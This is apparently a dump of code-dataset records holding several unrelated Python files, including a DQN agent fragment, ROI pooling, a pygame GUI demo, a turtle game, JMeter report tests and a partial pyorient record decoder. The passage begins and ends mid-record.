torch.tensor(experiences['next_state'], dtype=torch.float32).to(self.device)\n actions = torch.tensor(experiences['action'], dtype=torch.long).to(self.device)\n\n with torch.no_grad():\n Q_targets_next = self.target_net(next_states).detach()\n if self.using_double_q:\n _a = torch.argmax(self.net(next_states), dim=-1).unsqueeze(-1)\n max_Q_targets_next = Q_targets_next.gather(1, _a)\n else:\n max_Q_targets_next = Q_targets_next.max(1)[0].unsqueeze(1)\n Q_targets = rewards + self.n_buffer.n_gammas[-1] * max_Q_targets_next * (1 - dones)\n Q_expected = self.net(states).gather(1, actions)\n\n loss = F.mse_loss(Q_expected, Q_targets)\n\n self.optimizer.zero_grad()\n loss.backward()\n clip_grad_norm_(self.net.parameters(), self.max_grad_norm)\n self.optimizer.step()\n self.loss = loss.item()\n\n if hasattr(self.buffer, 'priority_update'):\n td_error = Q_expected - Q_targets + 1e-9 # Tiny offset for zero-div\n assert any(~torch.isnan(td_error))\n self.buffer.priority_update(experiences['index'], 1./td_error.abs())\n\n # Update networks - sync local & target\n soft_update(self.target_net, self.net, self.tau)\n\n def describe_agent(self) -> Dict:\n \"\"\"Returns agent's state dictionary.\"\"\"\n return self.net.state_dict()\n\n def log_writer(self, writer, episode):\n writer.add_scalar(\"loss/actor\", self.actor_loss, episode)\n writer.add_scalar(\"loss/critic\", self.critic_loss, episode)\n\n def save_state(self, path: str):\n agent_state = dict(net=self.net.state_dict(), target_net=self.target_net.state_dict())\n torch.save(agent_state, path)\n\n def load_state(self, path: str):\n agent_state = torch.load(path)\n self.net.load_state_dict(agent_state['net'])\n self.target_net.load_state_dict(agent_state['target_net'])\n","sub_path":"ai_traineree/agents/dqn.py","file_name":"dqn.py","file_ext":"py","file_size_in_byte":6589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"474911280","text":"def roi_pooling(input, rois, size=(7,7), spatial_scale=1.0):\n assert(rois.dim() == 2)\n assert(rois.size(1) == 5)\n output = []\n rois = rois.data.float()\n num_rois = rois.size(0)\n\n rois[:,1:].mul_(spatial_scale)\n rois = rois.long()\n for i in range(num_rois):\n roi = rois[i]\n im_idx = roi[0]\n im = input.narrow(0, im_idx, 1)[..., roi[2]:(roi[4]+1), roi[1]:(roi[3]+1)]\n output.append(adaptive_max_pool(im, size))\n\n return torch.cat(output, 0)\n","sub_path":"myRoi.py","file_name":"myRoi.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"275468631","text":"\n\n#calss header\nclass _PILOT():\n\tdef __init__(self,): \n\t\tself.name = \"PILOT\"\n\t\tself.definitions = [u'to fly an aircraft: ', u'to test a new product before it is sold: ', u'to be responsible for introducing a new law or system and making certain it is established: ', u'to direct a ship into a port or through an area of water']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'verbs'\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/verbs/_pilot.py","file_name":"_pilot.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"37101194","text":"# Створити функцію is_simple(n) яка на вхід отримує ціле невід'ємне число і якщо це число є простим,\n# то повертає True, а якщо ні то False.\n#\n# Просте число — це натуральне число, яке має рівно два різних натуральних дільники (лише 1 і саме число).\n\n\ndef is_simple(n):\n if n <= 1:\n return False\n elif n == 2:\n return True\n else:\n for i in range(2, n // 2 + 1):\n if n % i == 0:\n return False\n return True\n\n\nprint(is_simple(5))\n","sub_path":"домашка/CRDN_PRO_Tests/PASS1/test06_my.py","file_name":"test06_my.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"105793212","text":"\"\"\" MiniGUI.py\n A simple set of GUI devices\n including a label, a button,\n and a very basic scroller\n\"\"\"\n\nimport pygame\npygame.init()\nclass Label(pygame.sprite.Sprite):\n \"\"\" a basic label \n properties: \n text: text to display\n fgColor: foreground color\n bgColor: background color\n center: position of label's center\n \"\"\"\n \n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.font = pygame.font.SysFont(None, 30)\n self.text = \"\"\n self.fgColor = ((0x00, 0x00, 0x00))\n self.bgColor = ((0xFF, 0xFF, 0xFF))\n self.center = (100, 100)\n self.size = (150, 30)\n\n def update(self):\n self.image = pygame.Surface(self.size)\n self.image.fill(self.bgColor)\n fontSurface = self.font.render(self.text, True, self.fgColor, self.bgColor)\n #center the text\n xPos = (self.image.get_width() - fontSurface.get_width())/2\n \n self.image.blit(fontSurface, (xPos, 0))\n self.rect = self.image.get_rect()\n self.rect.center = self.center\n\nclass Button(Label):\n \"\"\" a button based on the label \n same properties as label +\n active: True if user is clicking on sprite\n False if user is not currently clicking\n \"\"\"\n\n def __init__(self):\n Label.__init__(self)\n self.active = False\n self.bgColor = (0xCC, 0xCC, 0xCC)\n \n def update(self):\n Label.update(self)\n self.active = False\n \n #check for mouse input\n if pygame.mouse.get_pressed() == (1, 0, 0):\n if self.rect.collidepoint(pygame.mouse.get_pos()):\n self.active = True\n \nclass Scroller(Button):\n \"\"\" like a button, but has a numeric value that \n can be decremented by clicking on left half\n and incremented by clicking on right half.\n new properties:\n value: the scroller's numeric value\n minValue: minimum value\n maxValue: maximum value\n increment: How much is added or subtracted\n \"\"\"\n \n def __init__(self):\n Button.__init__(self)\n self.minValue = 0\n self.maxValue = 10\n self.increment = 1\n self.value = 5\n \n def update(self):\n Button.update(self)\n if self.active:\n (mousex, mousey) = pygame.mouse.get_pos()\n if mousex < self.rect.centerx:\n self.value -= self.increment\n if self.value < self.minValue:\n self.value = self.minValue\n else:\n self.value += self.increment\n if self.value > self.maxValue:\n self.value = self.maxValue\n\n self.text = \"<< %.2f >>\" % self.value\n \ndef main():\n screen = pygame.display.set_mode((640, 480))\n pygame.display.set_caption(\"Label demo\")\n \n background = pygame.Surface(screen.get_size())\n background.fill((0xCC, 0xCC, 0xFF))\n screen.blit(background, (0, 0))\n\n label = Label()\n label.text = \"Can you hear me now?\"\n label.size = (250, 30)\n label.center = (150, 100)\n \n button = Button()\n button.text = \"Click me...\"\n button.center = (100, 200)\n\n scroller = Scroller()\n scroller.value = .50\n scroller.increment = .01\n scroller.maxValue = 1.00\n scroller.minValue = 0\n scroller.center = (300, 300) \n \n allSprites = pygame.sprite.Group(label, button, scroller)\n \n clock = pygame.time.Clock()\n keepGoing = True\n while keepGoing:\n clock.tick(30)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n keepGoing = False\n \n if button.active:\n background.fill((255, 0, 0))\n else:\n background.fill((0xCC, 0xCC, 0xFF))\n \n screen.blit(background, (0, 0))\n \n allSprites.clear(screen, background)\n allSprites.update()\n allSprites.draw(screen)\n \n pygame.display.flip()\n\n##if __name__ == \"__main__\":\n## main()\n ","sub_path":"GameFinal/miniGUI.py","file_name":"miniGUI.py","file_ext":"py","file_size_in_byte":4098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"96935114","text":"import turtle\r\nimport math\r\nimport random\r\n\r\nt1,t2,t3 = [None]*3\r\nt1X,t1Y,t2X,t2Y,t3X,t3Y = [0]*6\r\nswidth,sheight =300,300\r\n\r\nif __name__ ==\"__main__\" :\r\n turtle.title(\"거북 만나기\")\r\n turtle.setup(width = swidth+50 ,height =sheight+50 )\r\n turtle.screensize(swidth,sheight)\r\n\r\n t1= turtle.Turtle(\"turtle\");t1.color(\"red\");t1.penup()\r\n t2= turtle.Turtle(\"turtle\");t2.color(\"green\");t2.penup()\r\n t3= turtle.Turtle(\"turtle\");t3.color(\"blue\");t3.penup()\r\n\r\n t1.goto(-100,-100); t2.goto(0,0); t3.goto(100,100)\r\n t1.speed(10); t2.speed(10); t3.speed(10);\r\n while True:\r\n angle = random.randrange(0,360)\r\n dist = random.randrange(1,50)\r\n t1.left(angle); t1.forward(dist);\r\n angle = random.randrange(0,360)\r\n dist = random.randrange(1,50)\r\n t2.left(angle); t2.forward(dist);\r\n angle = random.randrange(0,360)\r\n dist = random.randrange(1,50)\r\n t3.left(angle); t3.forward(dist);\r\n\r\n t1X= t1.xcor(); t1Y = t1.ycor();\r\n t2X= t2.xcor(); t2Y = t2.ycor();\r\n t3X= t3.xcor(); t3Y = t3.ycor();\r\n\r\n if math.sqrt(((t1X-t2X)*(t1X-t2X))+((t1Y-t2Y)*(t1Y-t2Y)))<= 50 or \\\r\n math.sqrt(((t1X-t3X)*(t1X-t3X))+((t1Y-t3Y)*(t1Y-t3Y)))<= 50 or \\\r\n math.sqrt(((t2X-t3X)*(t2X-t3X))+((t2Y-t3Y)*(t2Y-t3Y)))<= 50 :\r\n t1.turtlesize(3); t2.turtlesize(3); t3.turtlesize(3);\r\n break\r\n\r\n\r\n if not ((-swidth/2 < t1X and t1X <= swidth/2) and (-sheight/2 < t1Y and t1Y <= sheight/2)):\r\n t1.goto(-100,-100)\r\n if not ((-swidth/2 < t2X and t2X <= swidth/2) and (-sheight/2 < t2Y and t2Y <= sheight/2)):\r\n t2.goto(0,0)\r\n if not ((-swidth/2 < t3X and t3X <= swidth/2) and (-sheight/2 < t3Y and t3Y <= sheight/2)):\r\n t3.goto(100,100)\r\n","sub_path":"three_turtle_meet.py","file_name":"three_turtle_meet.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"78866499","text":"\"\"\"\nCopyright 2012-2017 Ministerie van Sociale Zaken en Werkgelegenheid\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nimport datetime\nimport unittest\nimport bs4\n\nfrom hqlib.metric_source import JMeterPerformanceLoadTestReport\n\nHTML = \"\"\"\n\n \n \n \n \n \n \n \n \n \n
    Applicaties op n-das-pp-perf.lrk.org
    lrk-pp-ear-12.5.5
    kotb-dblogger-ear-0.4.13
    \n\n \n \n \n \n \n \n \n \n \n
    Applicaties op n-das-perf.lrk.org
    gir-inspecteren-ear-8.5.1
    gir-handhaven-ear-8.3.2
    \n

    Response times (ms): stable period - Begin: Fri Aug 28 13:40:30 CEST 2015 - End: Fri Aug 28 15:41:30 CEST 2015

    \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    IdUI transactionCountSumFirstLastMinAvgMedian80 perc90 percMaxStDevError %Min reqMax reqMin %Max %ErrorsStartup?
    101000_hoofdpagina_pp1193.9712421203328298008817801.0004.0001001000N
    201010_linkzoekscherm1194.70441393139383946821101.0004.0001001000N
    \"\"\"\n\n\nclass JMeterUnderTest(JMeterPerformanceLoadTestReport):\n \"\"\" Override the JMeter performance report to return the url as report contents. \"\"\"\n # pylint: disable=unused-argument,no-self-use\n\n def url_open(self, url):\n \"\"\" Return the static HTML. \"\"\"\n return HTML\n\n def soup(self, url):\n return bs4.BeautifulSoup('
  • 1.html
  • ', \"html.parser\") if url == self.url() \\\n else super(JMeterUnderTest, self).soup(url)\n\n\nclass JMeterTest(unittest.TestCase):\n \"\"\" Unit tests for the JMeter performance report metric source. \"\"\"\n\n def setUp(self):\n self.__performance_report = JMeterUnderTest('http://report/')\n\n def test_url(self):\n \"\"\" Test that the url is correct. \"\"\"\n self.assertEqual('http://report/', self.__performance_report.url())\n\n def test_queries_non_existing(self):\n \"\"\" Test that the number of queries for a product/version that is not found is zero. \"\"\"\n self.assertEqual(0, self.__performance_report.queries('product'))\n\n def test_queries(self):\n \"\"\" Test that the total number of queries for a product/version that is in the report. \"\"\"\n self.assertEqual(2, self.__performance_report.queries(('01', 'lrk-pp')))\n\n def test_queries_violating_max_responsetime(self):\n \"\"\" Test that the number of queries violating the maximum response times is zero. \"\"\"\n self.assertEqual(1, self.__performance_report.queries_violating_max_responsetime(('01', 'lrk-pp')))\n\n def test_queries_violating_wished_reponsetime(self):\n \"\"\" Test that the number of queries violating the wished response times is zero. \"\"\"\n self.assertEqual(0, self.__performance_report.queries_violating_wished_responsetime(('01', 'lrk-pp')))\n\n def test_date_of_last_measurement(self):\n \"\"\" Test that the date of the last measurement is correctly parsed from the report. \"\"\"\n self.assertEqual(datetime.datetime(2015, 8, 28, 15, 41, 30),\n self.__performance_report.datetime(('01', 'lrk-pp')))\n\n def test_date_product_not_found(self):\n \"\"\" Test the date when the product/version is not in the report. \"\"\"\n self.assertEqual(datetime.datetime(2015, 8, 28, 15, 41, 30), self.__performance_report.datetime('product'))\n\n def test_urls(self):\n \"\"\" Test the urls. \"\"\"\n self.assertEqual({u'http://report/1.html'}, self.__performance_report.urls(('01', 'lrk-pp')))\n","sub_path":"tests/unittests/metric_source/performance_report/jmeter_tests.py","file_name":"jmeter_tests.py","file_ext":"py","file_size_in_byte":5195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"532485390","text":"from __future__ import print_function\n\n# Copyright 2012 Niko Usai , http://mogui.it\n#\n# this file is part of pyorient\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# @BUG nested list e dict non funzionano nel parser\n\nimport re\nimport time\nfrom datetime import date, datetime\nfrom .types import OrientRecordLink, OrientRecord, OrientBinaryObject\nfrom .utils import is_debug_active\nfrom .exceptions import PyOrientSerializationException\n\n\n# what we are going to collect\nSTATE_GUESS = 0\nSTATE_NAME = 1\nSTATE_VALUE = 2\nSTATE_STRING = 3\nSTATE_COMMA = 4\nSTATE_LINK = 5\nSTATE_NUMBER = 6\nSTATE_KEY = 7\nSTATE_BOOLEAN = 8\nSTATE_BUFFER = 9\nSTATE_BASE64 = 10\n\n\n#character classes\nCCLASS_WORD = 1\nCCLASS_NUMBER = 2\nCCLASS_OTHER = 0\n\nTTYPE_NAME = 0\nTTYPE_CLASS = 1\nTTYPE_NULL = 2\nTTYPE_STRING = 3\nTTYPE_COLLECTION_START = 4\nTTYPE_COLLECTION_END = 5\nTTYPE_LINK = 6\nTTYPE_NUMBER = 7\nTTYPE_MAP_START = 8\nTTYPE_MAP_END = 9\nTTYPE_BOOLEAN = 10\nTTYPE_KEY = 11\nTTYPE_EMBEDDED = 12\nTTYPE_BUFFER = 13\nTTYPE_BASE64 = 14\nTTYPE_LINKSET_START = 15\nTTYPE_LINKSET_END = 16\n\n\nclass ORecordEncoder(object):\n \"\"\"docstring for ORecordEncoder\"\"\"\n\n def __init__(self, oRecord):\n self._raw = self.__encode(oRecord)\n\n def __encode(self, record):\n\n raw = ''\n o_class = getattr(record, 'o_class', False)\n if o_class:\n raw = o_class + '@'\n\n fields = list(filter(lambda item: not item.startswith('_OrientRecord_'),\n record.oRecordData))\n\n for idx, key in enumerate(fields):\n raw += key + ':'\n value = record.oRecordData[key]\n raw += self.parse_value(value)\n\n if idx < len(list(fields)) - 1:\n # not last element\n raw += ','\n\n return raw\n\n def parse_value(self, value):\n\n if isinstance(value, str):\n ret = '\"' + value + '\"'\n elif isinstance(value, int):\n ret = str(value)\n elif isinstance(value, float):\n ret = str(value) + 'f'\n elif isinstance(value, long):\n ret = str(value) + 'l'\n elif isinstance(value, datetime):\n ret = str(int(time.mktime(value.timetuple()))) + 't'\n elif isinstance(value, date):\n ret = str(int(time.mktime(value.timetuple())) * 1000) + 'a'\n elif isinstance(value, list):\n try:\n ret = \"[\" + ','.join(\n map(lambda elem: self.parse_value(type(value[0])(elem)),\n value)) + ']'\n except ValueError as e:\n raise Exception(\"wrong type commistion\")\n elif isinstance(value, dict):\n ret = \"{\" + ','.join(map(\n lambda elem: '\"' + elem + '\":' + self.parse_value(value[elem]),\n value)) + '}'\n elif isinstance(value, OrientRecord):\n ret = \"(\" + self.__encode(value) + \")\"\n elif isinstance(value, OrientRecordLink):\n ret = value.get_hash()\n elif isinstance(value, OrientBinaryObject):\n ret = value.getRaw()\n else:\n ret = ''\n return ret\n\n def get_raw(self):\n return self._raw\n\n\nclass ORecordDecoder(object):\n \"\"\"Porting of PHP OrientDBRecordDecoder\"\"\"\n\n def __init__(self, content):\n # public\n self.className = None\n self.content = content\n self.data = {}\n\n # private\n self._state = STATE_GUESS\n self._buffer = ''\n self._continue = True\n self._i = 0\n self._stackTokenValues = []\n self._stackTokenTypes = []\n self._previousStackTokenType = -1\n self._isCollection = False\n self._isMap = False\n self._isLinkSet = False\n self.escape = False\n self._stateCase = [self.__state_guess, self.__state_name,\n self.__state_value, self.__state_string,\n self.__state_comma, self.__state_link,\n self.__state_number, self.__state_key,\n self.__state_boolean, self.__state_buffer,\n self.__state_base64]\n\n # start decoding\n self.__decode()\n\n if self.__stack_get_last_type():\n # Bug if the number is the last value of string\n self._stateCase[self._state](\",\", None )\n try:\n tt, t_value = self.__stack_pop()\n tt, t_name = self.__stack_pop()\n self.data[t_name] = t_value\n except Exception as e:\n if is_debug_active():\n # hexdump( self._output_buffer.decode() )\n print(\"\\nException Raised:\")\n print(repr(e.message))\n\n def __decode(self):\n \"\"\"docstring for decode\"\"\"\n\n if not isinstance(self.content, str):\n self.content = self.content.decode()\n\n while self._i < len(self.content) and self._continue:\n char = self.content[self._i:self._i + 1]\n c_code = ord(char)\n if (65 <= c_code <= 90) or \\\n (97 <= c_code <= 122) or c_code == 95:\n c_class = CCLASS_WORD\n elif 48 <= c_code <= 57:\n c_class = CCLASS_NUMBER\n else:\n c_class = CCLASS_OTHER\n\n # pythonic switch case\n self._stateCase[self._state](char, c_class)\n token_type = self.__stack_get_last_type()\n\n if token_type == TTYPE_NAME or \\\n token_type == TTYPE_KEY or \\\n token_type == TTYPE_COLLECTION_START or \\\n token_type == TTYPE_MAP_START or \\\n token_type == TTYPE_LINKSET_START:\n pass\n\n elif token_type == TTYPE_CLASS: # TTYPE_CLASS = 1\n (t_type, t_value) = self.__stack_pop()\n self.className = t_value\n\n elif token_type == TTYPE_NUMBER or \\\n token_type == TTYPE_STRING or \\\n token_type == TTYPE_BUFFER or \\\n token_type == TTYPE_BOOLEAN or \\\n token_type == TTYPE_EMBEDDED or \\\n token_type == TTYPE_BASE64 or \\\n token_type == TTYPE_LINK:\n if not self._isCollection and not self._isMap \\\n and not self._isLinkSet:\n tt, t_value = self.__stack_pop()\n tt, t_name = self.__stack_pop()\n # print(\"%s -> %s\" % (tname, tvalue))\n self.data[t_name] = t_value\n\n elif token_type == TTYPE_NULL:\n if not self._isCollection and not self._isMap:\n self.__stack_pop()\n tt, t_name = self.__stack_pop()\n self.data[t_name] = None\n\n elif token_type == TTYPE_COLLECTION_END \\\n or token_type == TTYPE_MAP_END:\n if self._isCollection or self._isMap:\n # we are in a nested collection/map, next cycle\n continue\n\n self._stackTokenTypes.reverse()\n self._stackTokenValues.reverse()\n self.data = self.__reduce_maps( self.data )\n pass\n\n elif token_type == TTYPE_LINKSET_END:\n listSet = []\n while self.__stack_get_last_type() != TTYPE_KEY:\n tt, t_value = self.__stack_pop()\n if tt != TTYPE_LINKSET_END and tt != TTYPE_LINKSET_START:\n listSet.append( t_value )\n tt, t_name = self.__stack_pop()\n # print(\"%s -> %s\" % (tname, tvalue))\n self.data[t_name] = listSet\n pass\n\n else:\n #print(\"orly?\")\n pass\n\n def __reduce_maps(self, container):\n\n while len(self._stackTokenTypes):\n\n previous_token = self._previousStackTokenType\n actual_token = self.__stack_get_last_type()\n\n # we are in this situation:\n # [1,{\"dx\":[1,2]},\"abc\"]\n # container = {\"dx\":[1,2]}\n # and next_token is a string \"abc\",\n # it must be added to the parent object\n if actual_token == TTYPE_NULL and previous_token in [\n TTYPE_MAP_END,\n TTYPE_COLLECTION_END\n ]:\n self.__stack_pop()\n\n # now pop from stack and take new values\n # actual_token will be equals to incoming_token\n actual_token, actual_value = self.__stack_pop()\n\n # look to the next, we need to know if\n # the next element is not a scalar.\n # it can never be None\n next_token = self.__stack_get_last_type()\n\n # this is an empty collection/dict\n if (\n actual_token == TTYPE_MAP_START and next_token == TTYPE_MAP_END) \\\n or ( actual_token == TTYPE_COLLECTION_START\n and next_token == TTYPE_COLLECTION_END ):\n return []\n\n if actual_token == TTYPE_NULL:\n # field separator \",\" inside a list\n continue\n\n # ok this is an element\n if actual_token not in [\n TTYPE_COLLECTION_START,\n TTYPE_COLLECTION_END,\n TTYPE_MAP_START,\n TTYPE_MAP_END\n ]:\n # after this element there are a list/dict\n if next_token in [TTYPE_COLLECTION_START, TTYPE_MAP_START]:\n\n # choose the right container\n next_container = {} if next_token == TTYPE_MAP_START else []\n\n # we need to know if we are in a collection or in a map\n if actual_token == TTYPE_KEY:\n self.__stack_pop()\n container[actual_value] = \\\n self.__reduce_maps( next_container )\n else:\n container.append(actual_value)\n\n else:\n # this element is a dict key type?\n # try to add to the result container\n if actual_token == TTYPE_KEY:\n tt, value = self.__stack_pop()\n if actual_value != '':\n container[actual_value] = value\n else:\n container.append(actual_value)\n\n elif actual_token == TTYPE_COLLECTION_START:\n if isinstance(container, dict):\n container[actual_value] = self.__reduce_maps([])\n else:\n container.append(self.__reduce_maps([]))\n\n elif actual_token == TTYPE_MAP_START:\n if isinstance(container, dict):\n container[actual_value] = self.__reduce_maps({})\n else:\n container.append(self.__reduce_maps({}))\n\n elif actual_token in [TTYPE_COLLECTION_END, TTYPE_MAP_END]:\n break\n\n return container\n\n def __state_guess(self, char, c_class):\n \"\"\"docstring for guess\"\"\"\n self._state = STATE_NAME\n self._buffer = char\n self._i += 1\n\n def __state_name(self, char, c_class):\n \"\"\"docstring for name\"\"\"\n if char == ':':\n self._state = STATE_VALUE\n self.__stack_push(TTYPE_KEY)\n elif char == '@':\n self.__stack_push(TTYPE_CLASS)\n else:\n # trying to fast-forward name collecting @TODO\n self._buffer += char\n\n self._i += 1\n\n def __state_value(self, char, c_class):\n \"\"\"docstring for __state_value\"\"\"\n if char == ',':\n # No value - switch state to comma\n self._state = STATE_COMMA\n # token type is null\n self.__stack_push(TTYPE_NULL)\n elif char == '\"':\n # switch state to string collecting\n self._state = STATE_STRING\n self._i += 1\n elif char == '_':\n # switch state to string collecting\n self._state = STATE_BUFFER\n self._i += 1\n elif char == '#':\n # found hash - switch state to link\n self._state = STATE_LINK\n # add hash to value\n self._buffer = char\n self._i += 1\n elif char == '[':\n # [ found, state is still value\n self._state = STATE_VALUE\n # token type is collection start\n self.__stack_push(TTYPE_COLLECTION_START)\n # started collection\n self._isCollection = True\n self._i += 1\n elif char == ']':\n # ] found,\n # before to stop we have to know if there are\n # other nested collections\n # token type is collection end\n self.__stack_push(TTYPE_COLLECTION_END)\n self._state = STATE_COMMA\n if self._stackTokenTypes.count(TTYPE_COLLECTION_START) == \\\n self._stackTokenTypes.count(TTYPE_COLLECTION_END):\n # stopped collection\n self._isCollection = False\n self._i += 1\n elif char == '{':\n # found { switch state to name\n self._state = STATE_KEY\n # token type is map start\n self.__stack_push(TTYPE_MAP_START)\n # started map\n self._isMap = True\n self._i += 1\n elif char == '}':\n # } found\n # check for null value in the end of the map\n if self.__stack_get_last_type() == TTYPE_KEY:\n # token type is NULL\n self.__stack_push(TTYPE_NULL)\n return\n\n # before to stop we have to know if there are\n # other nested maps\n # token type is map end\n self.__stack_push(TTYPE_MAP_END)\n self._state = STATE_COMMA\n if self._stackTokenTypes.count(TTYPE_MAP_START) == \\\n self._stackTokenTypes.count(TTYPE_MAP_END):\n # stopped collection\n self._isMap = False\n\n self._i += 1\n elif char == '(':\n # ( found, state is COMMA\n self._state = STATE_COMMA\n # increment position so we can transfer clean document\n self._i += 1\n parser = ORecordDecoder(self.content[self._i:])\n rec = OrientRecord(parser.data,\n o_class=parser.className)\n\n token_value = rec\n # token type is embedded\n self.__stack_push(TTYPE_EMBEDDED, token_value)\n # fast forward to embedded position\n self._i += parser._i\n # increment counter so we can continue on clean document\n self._i += 1\n\n elif char == ')':\n # end of current document reached\n self._continue = False\n\n elif char == '<':\n # [ found, state is still value\n self._state = STATE_VALUE\n # token type is linkset start\n self.__stack_push(TTYPE_LINKSET_START)\n # started linkset\n self._isLinkSet = True\n self._i += 1\n\n elif char == '>':\n # > found,\n self.__stack_push(TTYPE_LINKSET_END)\n self._state = STATE_COMMA\n self._isLinkSet = False\n self._i += 1\n\n elif char == 'f' or char == 't':\n # boolean found - switch state to boolean\n self._state = STATE_BOOLEAN\n self._buffer = char\n self._i += 1\n elif char == '%':\n self._state = STATE_BASE64\n self._i += 1\n elif char == 'n' and self.content[self._i:self._i + 4] == 'null':\n self._state = STATE_NUMBER\n self._buffer = self.content[self._i:self._i + 4]\n else:\n if c_class == CCLASS_NUMBER or char == '-':\n # number found - switch to number collecting\n self._state = STATE_NUMBER\n self._buffer = char\n self._i += 1\n elif char is False:\n self._i += 1\n # end __state_value()\n\n def __state_buffer(self, char, oClass):\n pos_end = self.content[self._i:].find('_')\n if pos_end > 1:\n self._buffer = self.content[self._i:(self._i + pos_end)]\n self._i += pos_end - 1\n\n if char == '_':\n self._state = STATE_COMMA\n self.__stack_push(TTYPE_BUFFER, OrientBinaryObject(self._buffer))\n self._i += 1\n\n def __state_string(self, char, c_class):\n if self._i < len(self.content):\n pos_quote = self.content[self._i:].find('\"')\n pos_escape = self.content[self._i:].find('\\\\')\n\n if pos_escape != -1:\n pos = min(pos_quote, pos_escape)\n else:\n pos = pos_quote\n else:\n pos = False\n\n if pos and pos > 1:\n self._buffer += self.content[self._i:(self._i + pos)]\n self._i += pos\n return\n\n if char == '\\\\':\n if self.escape:\n self._buffer += char\n self.escape = False\n else:\n self.escape = True\n elif char == '\"':\n if self.escape:\n self._buffer += char\n self.escape = False\n else:\n self._state = STATE_COMMA\n self.__stack_push(TTYPE_STRING)\n else:\n self._buffer += char\n\n self._i += 1\n\n def __state_base64(self, char, c_class):\n pos_end = self.content[self._i:].find(';')\n self._buffer += self.content[self._i:(self._i + pos_end)]\n self._i += pos_end + 1 # skip th semi colon\n self._state = STATE_COMMA\n self.__stack_push(TTYPE_BASE64, OrientBinaryObject(self._buffer) )\n\n def __state_comma(self, char, c_class):\n \"\"\"docstring for __state_comma\"\"\"\n if char == ',':\n if self._isCollection:\n self.__stack_push(TTYPE_NULL)\n self._state = STATE_VALUE\n elif self._isMap:\n self._state = STATE_KEY\n elif self._isLinkSet:\n self._state = STATE_VALUE\n else:\n self._state = STATE_GUESS\n self._i += 1\n else:\n self._state = STATE_VALUE\n\n def __state_link(self, char, c_class):\n \"\"\"docstring for __state_link\"\"\"\n result = re.search('\\d+:\\d+', self.content[self._i:], re.I)\n if result and result.start() == 0:\n self._buffer = result.group()\n self._i += len(result.group())\n else:\n if char == ',':\n self._state = STATE_COMMA\n else:\n self._state = STATE_VALUE\n\n self.__stack_push(TTYPE_LINK, OrientRecordLink(self._buffer))\n\n def __state_number(self, char, c_class):\n \"\"\"docstring for __state_number\"\"\"\n result = re.search('[\\d\\.e-]+', self.content[self._i:], re.I)\n if result and result.start() == 0:\n self._buffer += result.group()\n self._i += len(result.group())\n else:\n # switch state to\n if char == ',':\n self._state = STATE_COMMA\n elif c_class == CCLASS_WORD:\n self._state = STATE_COMMA\n self._i += 1\n else:\n self._state = STATE_VALUE\n # fill token\n if char == 'b' or char == 's':\n token_value = int(self._buffer)\n elif char == 'l':\n token_value = int(self._buffer)\n elif char == 'f' or char == 'd' or char == 'c':\n token_value = float(self._buffer)\n elif char == 'a':\n token_value = date.fromtimestamp(float(self._buffer) / 1000)\n elif char == 't':\n token_value = datetime.fromtimestamp(float(self._buffer) / 1000)\n elif char == 'n':\n token_value = None\n self._i += 3\n else:\n token_value = int(self._buffer)\n\n # token type is a number\n self.__stack_push(TTYPE_NUMBER, token_value)\n\n def __state_key(self, char, c_class):\n \"\"\"docstring for __state_key\"\"\"\n if char == \":\":\n self._state = STATE_VALUE\n self.__stack_push(TTYPE_KEY)\n elif char == '}':\n # here a key is expected, but\n # try to check if this is an empty dict '{}'\n self._state = STATE_COMMA\n self.__stack_push(TTYPE_MAP_END)\n self._isMap = False\n else:\n # Fast-forwarding to \" symbol\n if self._i < len(self.content):\n pos = self.content.find('\"', self._i + 1)\n else:\n pos = False\n\n if pos is not False and pos > self._i:\n # Before \" symbol\n self._buffer = self.content[self._i + 1:pos]\n self._i = pos\n\n self._i += 1\n\n def __state_boolean(self, char, c_class):\n \"\"\"docstring for __state_boolean\"\"\"\n token_value = False\n\n # self._i is the position in the result string of the first letter of\n # the boolean ( [f]alse/[t]true )\n # 'V@abcdef:false' -> self._i == 10\n if self.content[self._i:self._i + 3] == 'rue':\n token_value = True\n self._i += 3\n elif self.content[self._i:self._i + 4] == 'alse':\n token_value = False\n self._i += 4\n else:\n raise PyOrientSerializationException( 'Invalid boolean read', [] )\n\n self._state = STATE_COMMA\n self.__stack_push(TTYPE_BOOLEAN, token_value)\n\n def __stack_push(self, token_type, 